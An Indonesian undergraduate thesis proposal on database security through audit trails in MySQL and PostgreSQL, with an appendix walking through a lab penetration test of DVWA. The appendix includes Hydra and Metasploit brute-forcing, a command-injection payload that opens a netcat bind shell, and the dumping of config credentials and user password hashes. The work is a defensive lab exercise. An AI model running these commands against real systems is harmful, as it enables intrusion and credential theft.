

**PENERAPAN KEAMANAN DATABASE DENGAN METODE
AUDIT TRAIL
PROPOSAL SKRIPSI**



Disusun oleh:

Arvian Zurianto

16 622 014

**PROGRAM STUDI TEKNIK INFORMATIKA
FAKULTAS TEKNIK
UNIVERSITAS MUHAMMADIYAH GRESIK
2020**

KATA PENGANTAR

Puji Syukur kepada Allah SWT, karena limpahan rahmat-Nya sehingga penulis dapat menyelesaikan laporan tugas akhir dengan judul “Penerapan Keamanan Database dengan Metode Audit Trail”.

Laporan tugas akhir ini disusun dengan maksud untuk menyelesaikan beban studi satuan kredit semester (SKS) yang harus ditempuh sebagai persyaratan akademis di jurusan S1 Teknik Informatika Universitas Muhammadiyah Gresik.

Sehubungan dengan terselesaikannya penulisan laporan ini, penulis mengucapkan terimakasih kepada mereka yang telah membantu serta memberikan dorongan semangat hingga terselesaikannya penyusunan laporan ini.

Pada kesempatan ini penulis mengucapkan banyak terima kasih kepada :

1. Allah SWT yang telah memberikan rahmat serta hidayah-Nya sehingga penulis dapat menyelesaikan proposal penelitian ini.
2. Kepada Kedua Orang tua dan saudara-saudara saya, yang telah memberikan dorongan dan do'a.
3. Bapak Darmawan Aditama, S.Kom., M.T. selaku dosen pembimbing pertama dan Bapak Indra Gita Anugrah, S.Kom., M.KOM. selaku pembimbing kedua yang telah memberikan semangat, bimbingan, masukan dan saran-saran yang berharga dalam penyusunan laporan ini.
4. Kepada para dosen UMG yang telah memberi ilmu dan pengalamannya.
5. Yang terakhir saya ucapkan banyak terima kasih kepada seluruh teman – teman seperjuangan mahasiswa teknik informatika angkatan 2016 saling mendukung dan membantu sejak awal hingga penelitian ini selesai.

Penulis menyadari bahwa banyak kekurangan dalam penyusunan laporan ini, sehingga dibutuhkan saran serta masukan untuk menyempurnakannya. Akhir kata semoga laporan kerja praktek ini dapat bermanfaat bagi orang lain, mohon maaf dan terimakasih.

Gresik, 28 Juli 2020

Penulis,

Arvian Zurianto



DAFTAR ISI

	Hal
Halaman Judul	i
Lembar Pernyataan	ii
Lembar Persetujuan	iii
Lembar Pengesahan	iv
Kata Pengantar	v
Daftar Isi	vii
Daftar Gambar	x
Daftar Tabel dan Kode Porgram.....	xiii
Abstract.....	xv
BAB I PENDAHULUAN	
1.1 Latar Belakang	1
1.2 Rumusan Masalah.....	3
1.3 Tujuan Penelitian.....	3
1.4 Manfaat Penelitian.....	3
1.5 Batasan Masalah	4
1.6 Metodologi Penelitian.....	4
1.7 Sistematika Penulisan.....	4
BAB II TEMPAT KERJA PRAKTEK	
2.1 Database.....	6
2.1.1 Keamanan Database.....	7
2.1.2 Structure Query Language (SQL).....	8
2.2 Database Management System (DBMS)	10
2.3 DBMS MySQL.....	15
2.3.1 Versi MySQL.....	17
2.3.2 Log File MySQL.....	18
2.3.3 Trigger DBMS MySQL.....	22
2.4 DBMS PostgreSQL.....	26
2.4.1 Versi PostgreSQL.....	28

2.4.2 Fitur DBMS PostgreSQL.....	30
2.4.3 Log DBMS PostgreSQL.....	32
2.4.4 Trigger DBMS PostgreSQL.....	36
2.5 Penelitian Sebelumnya.....	38

BAB III ANALISIS DAN PERANCANGAN SISTEM

3.1 Analisis Sistem	41
3.2 Hasil Analisis.....	43
3.2.1 Database Audit.....	43
3.2.2 Audit pada DBMS MySQL.....	44
3.2.2.1 Plugin Log Audit MySQL.....	51
3.2.2.1.1 Pengecekan Plugin Percona.....	53
3.2.2.1.2 Log Format.....	54
3.2.2.1.3 Variabel Sistem.....	56
3.2.2.1.4 Variabel Status.....	66
3.2.3 Audit pada DBMS PostgreSQL.....	66
3.3 Langkah penyelesaian masalah	75
3.4 Perancangan Sistem.....	77
3.4.1 Rancangan tabel menampung hasil audit.....	78
3.4.1.1 Rancangan Tabel Audit untuk Tabel Users.....	78
3.4.2 Rancangan Trigger Audit pada DBMS MySQL	79
3.4.2.1 Rancangn Trigger Audit pada Tabel Users.....	79
3.4.3 Perintah SQL Injection.....	83
3.4.4 Rancangan Trigger Auditt pada DBMS PostgreSQL.....	86
3.4.4.1 Rancangan Function untuk Trigger.....	86
3.4.4.2 Rancangan Trigger Audit pada Tabel Users.....	88
3.5 Skenario Pengujian.....	90
3.5.1 Skenario 1: Web DVWA dengan <i>Database</i> MySQL.....	91
3.5.2 Skenario 2: Web login.php dengan <i>Database</i> PostgreSQL.....	91
3.6 Spesifikasi Pembuatan Sistem.....	92

BAB IV IMPLEMENTASI DAN PENGUJIAN SISTEM

4.1 Implementasi.....	93
4.1.1 Batasan Implementasi Sistem	93
4.1.2 Langkah proses pentest web server MySQL.....	94
4.1.3 Langkah proses pentest web server PostgreSQL... ..	112
4.1.4 Implementasi rancang database dan table Audit pada Database MySQL dan PostgreSQL.....	117
4.2 Hasil Pengujian Sistem.....	127
4.2.1 Hasil Pengujian Sistem Audit DBMS MySQL.....	127
4.2.2 Hasil Pengujian Sistem Audit DBMS PostgreSQL.....	128
4.2.3 Halaman Home Web Server DVWA MySQL.....	131
4.2.4 Halaman Home Web Server Login Sederhana postgres	131
BAB V PENUTUP	
5.1 Kesimpulan	132
5.2 Saran.....	133
DAFTAR PUSTAKA	134
LAMPIRAN.....	

PENERAPAN KEAMANAN DATABASE DENGAN METODE AUDIT TRAIL

Oleh

Arvian Zurianto
16 622 014

Diajukan kepada Program Studi Teknik Informatika, Fakultas Teknik, Universitas Muhammadiyah Gresik, pada tanggal *15 Juni 2020* untuk memenuhi sebagian persyaratan untuk memperoleh gelar derajat sarjana S-1 Program Studi Teknik Informatika

INTISARI

Database auditing dapat menjadi komponen penting dalam keamanan basis data. Database Administrator perlu waspada dalam teknik yang digunakan untuk melindungi data perusahaan, serta memantau dan memastikan bahwa perlindungan yang memadai terhadap data tersedia. Pada tingkat tinggi, database auditing merupakan fasilitas untuk melacak otoritas dan penggunaan sumber daya database. Ketika fungsi auditing diaktifkan, setiap operasi database yang diaudit menghasilkan jejak audit dari perubahan informasi yang dilakukan. Audit Trails dapat mengungkapkan banyak jejak audit yang dapat dikategorikan sebagai berikut. Jejak audit dari log on dan log off, audit DCL, audit DDL, audit DML, audit DTL dan audit stored procedure dan trigger.

Kata kunci : Database Auditing, Jejak Audit, Keamanan Basis Data, Audit
Pembimbing : Darmawan Aditama, S.Kom., M.T.
: Indra Gita Anugrah, S.Kom., M.Kom.

IMPLEMENTATION OF DATABASE SECURITY WITH METHODS AUDIT TRAIL

By

Arvian Zurianto

16 622 014

Submitted to the Informatics Department, Engineering Faculty, University of Muhammadiyah Gresik on 15th June 2020 for fulfill part of the requirements to obtain a bachelor's degree in Informatics Engineering

ABSTRACT

Database auditing can be an important component of database security. Database administrators need to be aware of the techniques used to protect company data, as well as monitor and ensure that adequate data protection is in place. At a high level, database auditing is a facility for tracking database authority and resource usage. When the auditing function is enabled, each audited database operation generates an audit trail of information changes made. Audit Trails can reveal many audit trails which can be categorized as follows. Audit trail of log on and log off, DCL audit, DDL audit, DML audit, DTL audit and stored procedure audit and trigger.

Keyword : Database Auditing, Audit Trail, Database Security, Audit
Supervisors : Darmawan Aditama, S.Kom., M.T.
: Indra Gita Anugrah, S.Kom., M.Kom.

DAFTAR TABEL

Tabel 2.1	Tabel perbandingan fitur DBMS.....	13
Tabel 2.2.	Parameter Log line prefix.....	33
Tabel 2.3.	Parameter Log line prefix.....	34
Tabel 3.1.	Perbandingan Audit.....	76
Tabel 3.2.	Tabel ins_del_users.....	78
Tabel 3.3.	Tabel update_users.....	78
Tabel 3.4.	Tabel trg_insert_users.....	79
Tabel 3.5.	Tabel trg_upd_users.....	80
Tabel 3.6.	Tabel trg_delete_users.....	83
Tabel 3.7.	Tabel trg_insert_user.....	88
Tabel 3.8.	Trigger trg_upd_user.....	89
Tabel 3.9.	Tabel trg_delete_user.....	90
Tabel 4.1.	Implementasi Tabel.....	118
Tabel 4.2.	Tabel Implementasi Trigger.....	119
Tabel 4.3.	Implementasi Tabel.....	124
Tabel 4.4.	Tabel Implementasi Trigger.....	125
Tabel 4.5.	Tabel pengujian hasil Audit DBMS MySQL.....	127
Tabel 4.6.	Tabel pengujian hasil Audit DBMS PostgreSQL.....	129

DAFTAR KODE PROGRAM

Kode Program 4.1. <i>Source Code Scanning dengan NMAP</i>	94
Kode Program 4.2. <i>Source Code hydra</i>	99
Kode Program 4.3. <i>Source Code NetCat pada Command Injection</i>	103
Kode Program 4.4. <i>Source Code NMAP</i>	112
Kode Program 4.5. <i>Source Code Akses Database dengan Kali Linux</i>	116
Kode Program 4.6. <i>Source Code Hash Database lewat postgresql</i>	117



DAFTAR GAMBAR

Gambar 2.1 General_log.....	22
Gambar 2.2 Contoh log_postgreSQL	34
Gambar 2.3 Deskripsi tabel postgres_log.....	36
Gambar 3.1 Gambaran Event Log Audit.....	42
Gambar 3.2 Audit login berhasil	45
Gambar 3.3 Audit login gagal	46
Gambar 3.4 Audit logout.....	46
Gambar 3.5 Audit pengguna melakukan perubahan object tertentu	47
Gambar 3.6 Audit pengguna tertentu melakukan perubahan object tertentu.....	47
Gambar 3.7 Audit pengguna yang melakukan perubahan isi dari suatu object <i>Database</i>	48
Gambar 3.8 Audit pengguna tertentu yang melakukan perubahan isi dari suatu object <i>Database</i>	48
Gambar 3.9 Audit pengguna yang melakukan perintah pengendalian pengaksesan data.....	49
Gambar 3.10 Audit statement pada object tertentu	50
Gambar 3.11 Audit isi dari object	50
Gambar 3.12 Audit perubahan pada pengendalian pengaksesan data pada object <i>Database</i>	51
Gambar 3.13 Audit administrator.....	51
Gambar 3.14 Audit event.....	52
Gambar 3.15 Contoh saat disconnect event.....	52
Gambar 3.16 Contoh saat <i>query</i> event.....	52
Gambar 3.17 Hasil pengecekan plugin Percona.....	53
Gambar 3.18 OLD format	54
Gambar 3.19 New format.....	55

Gambar 3.20 JSON format	55
Gambar 3.21 CSV format.....	56
Gambar 3.22 Audit pengguna yang melakukan login berhasil	68
Gambar 3.23 Hasil Audit pengguna yang melakukan login gagal	69
Gambar 3.24 Audit pengguna melakukan logout.....	69
Gambar 3.25 Audit pengguna yang melakukan login dan logout	69
Gambar 3.26 Audit pengguna tertentu yang melakukan login dan logout.....	70
Gambar 3.27 Audit pengguna yang melakukan perubahan pada <i>object Database</i>	71
Gambar 3.28 Audit pengguna tertentu yang melakukan perubahan pada <i>object Database</i>	71
Gambar 3.29 Audit pengguna yang melakukan perubahan isi dari suatu <i>object Database</i>	72
Gambar 3.30 Audit pengguna yang melakukan perintah pengendalian pengaksesan data	73
Gambar 3.31 Audit pengguna tertentu yang melakukan perintah pengendalian pengaksesan data.....	74
Gambar 3.32 Audit <i>statement</i> yang terjadi pada <i>object</i> tertentu	74
Gambar 3.33 Audit <i>statement</i> yang terjadi pada isi <i>object</i>	74
Gambar 3.34 Audit <i>statement</i> perubahan pada pengendalian pengksesan data pada <i>object Database</i>	75
Gambar 3.35 Audit <i>administrator</i>	75
Gambar 3.36 Audit pernyataan DML kolom tertentu dengan kondisi NULL	75
Gambar 4.1 Hasil Scanning dengan NMAP	95
Gambar 4.2 Pengaturan <i>Burp Suite</i> sebagai <i>proxy</i>	95
Gambar 4.3 Gambar kondisi <i>Burp Suite Running</i>	96
Gambar 4.4 Gambar Setting <i>proxy</i> di browser untuk <i>BurpSuite</i>	97
Gambar 4.5 Gambar hasil <i>Intercept burtsuite</i>	98
Gambar 4.6 Hasil dari <i>hydra</i>	99

Gambar 4.7	Gambar hasil dari cek versi MySQL dengan <i>metasploit</i>	101
Gambar 4.8	Gambar hasil <i>login brute-force</i> unutm server MySQL.....	102
Gambar 4.9	Gambar <i>exploit</i> dengan <i>metasploit</i>	104
Gambar 4.10	Gambar hasil <i>ekspliasi Credentials</i> pengguna.....	105
Gambar 4.11	Gambar hasil pengecekan <i>credentials</i> proses dan direktori	106
Gambar 4.12	Gambar hasil <i>eksplorasi credentials</i> basis data.....	107
Gambar 4.13	Gambar hasil dari tampilan basis data DVWA.....	108
Gambar 4.14	Gambar hasil membuat pengguna baru	109
Gambar 4.15	Gambar hasil tampilan informasi tabel Mysql.....	110
Gambar 4.16	Gambar hasil membuat pengguna baru di mesin mysql.....	111
Gambar 4.17	Gambar hasil console di Kali Linux	112
Gambar 4.18	Gambar Hasil <i>Scanning Port</i>	113
Gambar 4.19	Gambar hasil <i>Brute force Credentials</i> di <i>Postgres</i>	114
Gambar 4.20	Gambar hasil cek modul <i>Postgres_readfile</i>	114
Gambar 4.21	Gambar hasil konfigurasi modul <i>postgres_readfile</i>	115
Gambar 4.22	Gambar hasil modul <i>postgresql</i>	115
Gambar 4.23	Gambar hasil cek versi <i>server</i> korban	116
Gambar 4.24	Gambar hasil akses <i>database</i> di <i>KaliLinux</i>	116
Gambar 4.25	Gambar hasil Hash lewat <i>Metasploit</i>	117
Gambar 4.26	Gambar hasil <i>Hash Database</i> lewat <i>Postgres</i>	117
Gambar 4.27	Halaman Login Web DVWA	131
Gambar 4.28	Halaman Login Web dengan <i>Postgres</i>	131

LAMPIRAN

A. Sourcecode untuk proses NMAP pada *web server*

```
nmap -sV --script=http-sql-injection <target>
```

Hasilnya *Scanning NMAP*. Ada pada gambar berikut:

```
root@kali:/home/kali# nmap -sV --script=http-sql-injection 192.168.1.67
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-23 13:40 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 13:40 (0:00:03 remaining)
Nmap scan report for 192.168.1.67
Host is up (0.00094s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
3306/tcp  open  mysql    MySQL 5.7.30-33
4444/tcp  closed krb524
MAC Address: 08:00:27:D3:89:B8 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

B. Sourcecode dengan Hydra

```
Hydra -h
```

```
Hydra 192.168.1.6 --l admin -P
/usr/share/set/src/fasttrack/wordlist.txt http-
get-form"/DVWA-
1.9/vulnerabilities/brute/index.php:username
=^ USER^&password=^PASS^&Login=Login:Us
ername and/or password incorrect.:H=Cookie:
security=low;PHPSESSID=uqqircngoblves7qjv
53lhivo5"
```

Hasilnya sebagai berikut:

```
root@kali:/home/kali# hydra 192.168.1.67 -l admin -P /usr/share/sets/src/fasttrack/wordlist.txt http-get-form "/DVWA-1.9/vulnerabilities/brute/index.php:username='^USER'&password='^PASS'&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=uqqircngoblves7qjv53lhivo5"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-23 15:17:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:222), ~14 tries per task
[DATA] attacking http-get-form://192.168.1.67:80/DVWA-1.9/vulnerabilities/brute/index.php:username='^USER'&password='^PASS'&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=uqqircngoblves7qjv53lhivo5
[80][http-get-form] host: 192.168.1.67 login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-23 15:17:24
root@kali:/home/kali#
```

C. Metasploit

commandpromd dan masuk ke *msfconsole*

```
msfconsole thankyou
```

Cek Versi pada MySQL yang akan di tuju:

```
use
auxiliary/scanner/mysql/mysql_version
show options
set RHOSTS 10.4.12.155
set THREADS 20
```

Akan keluar hasilnya, seperti gambar berikut

```
msf5 > use auxiliary/scanner/mysql/mysql_version
msf5 auxiliary(scanner/mysql/mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    10.4.12.155     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     3306             yes       The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)

msf5 auxiliary(scanner/mysql/mysql_version) > set RHOSTS 10.4.12.155
RHOSTS => 10.4.12.155
msf5 auxiliary(scanner/mysql/mysql_version) > set THREADS 20
THREADS => 20
msf5 auxiliary(scanner/mysql/mysql_version) > run

[*] 10.4.12.155:3306 - 10.4.12.155:3306 is running MySQL 5.7.30-33 (protocol 10)
[*] 10.4.12.155:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Hacking Login MySQL

```
use auxiliary/scanner/mysql/mysql_login

show options

set PASS_FILE /home/kali/new.pass

set RHOSTS 10.4.12.155

set USER_FILE /home/kali/new.user

run
```

Hasilnya sebagai berikut:

```
msf5 auxiliary(scanner/mysql/mysql_login) > run

[+] 10.4.12.155:3306 - 10.4.12.155:3306 - Found remote MySQL version 5.7.30
[!] 10.4.12.155:3306 - No active DB -- Credential data will not be saved!
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: somat:somat (Incorrect: Access denied for user 'somat'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: somat:admin (Incorrect: Access denied for user 'somat'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: somat:admin (Incorrect: Access denied for user 'somat'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: somat:user (Incorrect: Access denied for user 'somat'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: somat:postgres (Incorrect: Access denied for user 'somat'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: somat:123456 (Incorrect: Access denied for user 'somat'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: root:somat (Incorrect: Access denied for user 'root'@'10.4.12.64' (using password: YES))
[+] 10.4.12.155:3306 - 10.4.12.155:3306 - Success: 'root:admin'
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: admin:somat (Incorrect: Access denied for user 'admin'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: admin:admin (Incorrect: Access denied for user 'admin'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: admin:admin (Incorrect: Access denied for user 'admin'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: admin:user (Incorrect: Access denied for user 'admin'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: admin:postgres (Incorrect: Access denied for user 'admin'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: admin:123456 (Incorrect: Access denied for user 'admin'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: user:somat (Incorrect: Access denied for user 'user'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: user:admin (Incorrect: Access denied for user 'user'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: user:admin (Incorrect: Access denied for user 'user'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: user:user (Incorrect: Access denied for user 'user'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: user:postgres (Incorrect: Access denied for user 'user'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: user:123456 (Incorrect: Access denied for user 'user'@'10.4.12.64' (using password: YES))
[-] 10.4.12.155:3306 - 10.4.12.155:3306 - LOGIN FAILED: postgres:somat (Incorrect: Access denied for user 'postgres'@'10.4.12.64' (using password: YES))
```


D. Exploit Web Server

Pertama masuk ke web DVWA, masuk ke menu *Command Injection* dengan *NetCat*. Berikut *source* kodenya.

```
10.4.12.155;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
```

Kedua, aktifkan *metasploit*. Masuk ke *Kali Linux* buka *commandpromd* dan masuk ke *msfconsole*

```
msfconsole thankyou
```

```
use multi/handler
set PAYLOAD linux/x86/shell/bind_tcp
show options
set RHOST 10.4.12.155
exploit
```

Hasilnya bisa dilihat sebagai berikut:

```
msf5 > use multi/handler
msf5 exploit(multi/handler) > set PAYLOAD linux/x86/shell/bind_tcp
PAYLOAD => linux/x86/shell/bind_tcp
msf5 exploit(multi/handler) > set RHOST 10.4.12.155
RHOST => 10.4.12.155
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  -
  LPORT  4444             yes       The listen port
  RHOST  10.4.12.155     no        The target address

Payload options (linux/x86/shell/bind_tcp):

  Name  Current Setting  Required  Description
  ----  -
  LPORT  4444             yes       The listen port
  RHOST  10.4.12.155     no        The target address

Exploit target:

  Id  Name
  --  -
  0   Wildcard Target

msf5 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 10.4.12.155:4444
[*] Sending stage (36 bytes) to 10.4.12.155
[*] Command shell session 1 opened (10.4.12.64:45949 -> 10.4.12.155:4444) at 2020-07-24 06:22:01 -0400
```

```
msf5 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 10.4.12.155:4444
[*] Sending stage (36 bytes) to 10.4.12.155
[*] Command shell session 1 opened (10.4.12.64:45949 → 10.4.12.155:4444) at 2020-07-24 06:22:01 -0400
```

```
whoami
www-data
grep www-data /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
grep www-data /etc/group
www-data:x:33:
```

```
ps -eaf | grep http
www-data 2142 1943 0 17:47 ? 00:00:00 grep http
pwd
/var/www/html/DVWA-1.9/vulnerabilities/exec
ls -ld /var/www/html
drwxr-xr-x 3 root root 4096 Jul 11 16:57 /var/www/html
ls -ld /var/www/html/DVWA*
drwxr-xr-x 8 root root 4096 Oct 5 2015 /var/www/html/DVWA-1.9
ls -l /var/www/html/DVWA*
total 132
-rw-r--r-- 1 root root 7229 Oct 5 2015 CHANGELOG.md
-rw-r--r-- 1 root root 33107 Oct 5 2015 COPYING.txt
-rw-r--r-- 1 root root 7651 Oct 5 2015 README.md
-rw-r--r-- 1 root root 3845 Oct 5 2015 about.php
drwxr-xr-x 2 root root 4096 Jul 11 17:01 config
drwxr-xr-x 2 root root 4096 Oct 5 2015 docs
drwxr-xr-x 6 root root 4096 Oct 5 2015 dvwa
drwxr-xr-x 4 root root 4096 Oct 5 2015 external
-rw-r--r-- 1 root root 1406 Oct 5 2015 favicon.ico
drwxr-xr-x 5 root root 4096 Oct 5 2015 hackable
-rw-r--r-- 1 root root 895 Oct 5 2015 ids_log.php
-rw-r--r-- 1 root root 4389 Oct 5 2015 index.php
-rw-r--r-- 1 root root 1869 Oct 5 2015 instructions.php
-rw-r--r-- 1 root root 3522 Oct 5 2015 login.php
-rw-r--r-- 1 root root 414 Oct 5 2015 logout.php
-rw-r--r-- 1 root root 148 Oct 5 2015 php.ini
-rw-r--r-- 1 root root 199 Oct 5 2015 phpinfo.php
-rw-r--r-- 1 root root 26 Oct 5 2015 robots.txt
-rw-r--r-- 1 root root 4686 Oct 5 2015 security.php
-rw-r--r-- 1 root root 2364 Oct 5 2015 setup.php
drwxr-xr-x 12 root root 4096 Oct 5 2015 vulnerabilities
```

```
ls -l /var/www/html/DVWA-1.9/config
total 4
-rw-r--r-- 1 root root 1929 Jul 11 17:01 config.inc.php
cat /var/www/html/DVWA-1.9/config/config.inc.php
<?php

# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.

# Database management system to use
$DBMS = 'MySQL';
# $DBMS = 'PGSQL'; // Currently disabled

# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'admin';

# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port ' ] = '5432';

# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';

$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTFf7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAZzAAL_uw9YXVU0PoIHPZLfw2K1n5NVQ';

# Default security level
# Default value for the security level with each session.
```

```
File Machine View Input Devices Help
Kali Linux, an Offensive ... kali@kali: ~ 03:11 PM 68%
kali@kali: ~
File Actions Edit View Help
echo "show databases;" | mysql -uroot -padmin
Database
information_schema
dvwa
mysql
performance_schema
sys
echo "use dvwa; show tables;" | mysql -uroot -padmin
Tables_in_dvwa
guestbook
ins_del_users
update_users
users
echo "use dvwa; desc users;" | mysql -uroot -padmin
Field Type Null Key Default Extra
user_id int(6) NO PRI NULL
first_name varchar(15) YES NULL
last_name varchar(15) YES NULL
user varchar(15) YES NULL
password varchar(32) YES NULL
avatar varchar(70) YES NULL
last_login timestamp YES NULL
failed_login int(3) YES NULL
echo "select * from dvwa.users;" | mysql -uroot -padmin
user_id first_name last_name user password avatar last_login failed_login
1 admin admin admin 5f4dcc3b5aa765d61d8327deb882cf99 http://10.4.12.173/DVWA-1.9/hackable/users/admin.jpg 20
7 0
2 Gordon Brown gordonb e99a18c428cb38d5f260853678922e03 http://10.4.12.173/DVWA-1.9/hackable/users/gordonb.jpg 20
7 0
3 Hack Me 1337 8d3533d75ae2c3966d7e0d4fcc69216b http://10.4.12.173/DVWA-1.9/hackable/users/1337.jpg 20
7 0
4 Pablo Picasso pablo 0d107d09f5bbe40cade3de5c71e9e9b7 http://10.4.12.173/DVWA-1.9/hackable/users/pablo.jpg 20
7 0
```